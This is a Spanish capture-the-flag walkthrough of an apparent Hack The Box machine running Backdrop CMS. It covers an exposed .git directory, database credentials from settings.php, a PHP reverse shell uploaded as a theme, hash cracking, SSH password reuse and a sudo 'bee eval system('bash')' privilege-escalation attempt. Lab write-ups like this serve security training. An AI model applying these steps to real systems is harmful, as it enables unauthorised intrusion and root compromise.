Encontramos un login pero no tenemos credenciales:
Observamos que al acceder a login se pasa un parámetro en la URL que podría contener un usuario. Haciendo fuzzing de parámetros no encontramos nada relevante.
Fuzzing de Directorios
El escaneo realizado con dirsearch ha revelado información crítica, especialmente la exposición de un directorio .git accesible públicamente. Esto representa un grave riesgo de seguridad, ya que podría permitir la extracción de código fuente, credenciales y otros datos sensibles.
Usaremos una reverse shell en PHP como la de PentestMonkey:
Editar módulo PHP
Reemplazamos el contenido de template.php con la reverse shell creada:
Ahora comprimimos la carpeta completa en tar.gz:
Subida a la web
Abrimos un listener de netcat antes de subir el archivo:
Cargamos el tar.gz malicioso y le damos a install:
Hacemos click en Enable newly added themes, lo habilitamos y lo establecemos por defecto:
Al acceder a la configuración del módulo recibimos la shell automáticamente como el usuario www-data:
Enumeración interna
En el directorio home encontramos 2 usuarios interesantes: jobert y johncusack
En el directorio de johncusack encontramos la user flag, pero no tenemos permisos para acceder:
Acceso a la base de datos
Antes en el archivo settings.php encontramos credenciales para acceder a la base de datos como root, por lo que vamos a echarle un vistazo:
Bingo! Tenemos los hashes de todos los usuarios del sistema, aunque no vemos el de johncusack, que es el usuario que tiene la user flag. Podría ser el usuario john o jPAdminB
Cracking de hashes
Copiamos estos en un archivo llamado hashes.txt:
Estos hashes están en formato Drupal 7 hash (phpass base64, 32-bit), por lo que usaremos el modo de Hashcat 7900:
Despues de bastante tiempo no conseguimos crackear ningún hash.
User flag
Probando la contraseña para acceder a MySQL con el usuario johncusack conseguimos acceder por SSH. Esto es algo que siempre deberíamos probar al tener alguna contraseña válida:
Escala de privilegios
Permisos de ejecución
El usuario johncusack puede ejecutar bee en el sistema:
No encontramos ningún GTFOBins sobre el binario bee, así que vamos a echarle un ojo:
Bee permite ejecutar eval y php-scrip que son funcionalidades peligrosísimas si pueden ejecutarse como root, ya que permiten ejecutar código PHP arbitrario tras bootstrapping de Backdrop.
Al probarlo nos da un error "The required bootstrap level for 'eval' is not ready". Esto indica que bee no está ejecutando eval porque no encuentra el entorno Backdrop o no estámos en el directorio correcto donde se encuentra la instalación.
Buscar el index de la aplicación
Concretamente se encuentra en la ruta /var/www/html
sudo echo "10.10.11.58 dog.htb" | sudo tee -a /etc/hosts
sudo nmap -v -sV -T5 10.10.11.58
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ls -la
drwxrwxr-x kali kali 4.0 KB Sun Jun 1 17:12:55 2025 .
drwxrwxr-x kali kali 4.0 KB Sun Jun 1 16:50:17 2025 ..
drwxrwxr-x kali kali 4.0 KB Sun Jun 1 17:12:56 2025 .git
drwxrwxr-x kali kali 4.0 KB Sun Jun 1 17:12:55 2025 core
drwxrwxr-x kali kali 4.0 KB Sun Jun 1 17:12:55 2025 files
.rwxrwxr-x kali kali 578 B Sun Jun 1 17:12:55 2025 index.php
drwxrwxr-x kali kali 4.0 KB Sun Jun 1 17:12:55 2025 layouts
.rwxrwxr-x kali kali 18 KB Sun Jun 1 17:12:54 2025 LICENSE.txt
.rwxrwxr-x kali kali 5.2 KB Sun Jun 1 17:12:54 2025 README.md
.rwxrwxr-x kali kali 1.2 KB Sun Jun 1 17:12:55 2025 robots.txt
.rwxrwxr-x kali kali 21 KB Sun Jun 1 17:12:55 2025 settings.php
drwxrwxr-x kali kali 4.0 KB Sun Jun 1 17:12:55 2025 sites
drwxrwxr-x kali kali 4.0 KB Sun Jun 1 17:12:55 2025 themes
afsh4ck@kali$ ssh johncusack@10.10.11.58
The authenticity of host '10.10.11.58 (10.10.11.58)' can't be established.
ED25519 key fingerprint is SHA256:M3A+wMdtWP0tBPvp9OcRf6sPPmPmjfgNphodr912r1o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.58' (ED25519) to the list of known hosts.
johncusack@10.10.11.58's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
-bash-5.0$ whoami
johncusack
-bash-5.0$ id
uid=1001(johncusack) gid=1001(johncusack) groups=1001(johncusack)
-bash-5.0$ ls
user.txt
-bash-5.0$ cat user.txt
a53cd3b5ced77df7faf8e15************
-bash-5.0$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
-bash-5.0$ bee
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]
Global Options:
--root
Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.
<----SNIP---->
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
php-script
scr
Execute an arbitrary PHP file after bootstrapping Backdrop.
-bash-5.0$ sudo /usr/local/bin/bee eval "system('bash');"
✘ The required bootstrap level for 'eval' is not ready.